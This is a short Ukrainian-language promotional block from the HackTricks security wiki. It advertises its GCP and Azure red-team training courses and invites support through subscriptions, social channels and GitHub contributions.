Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.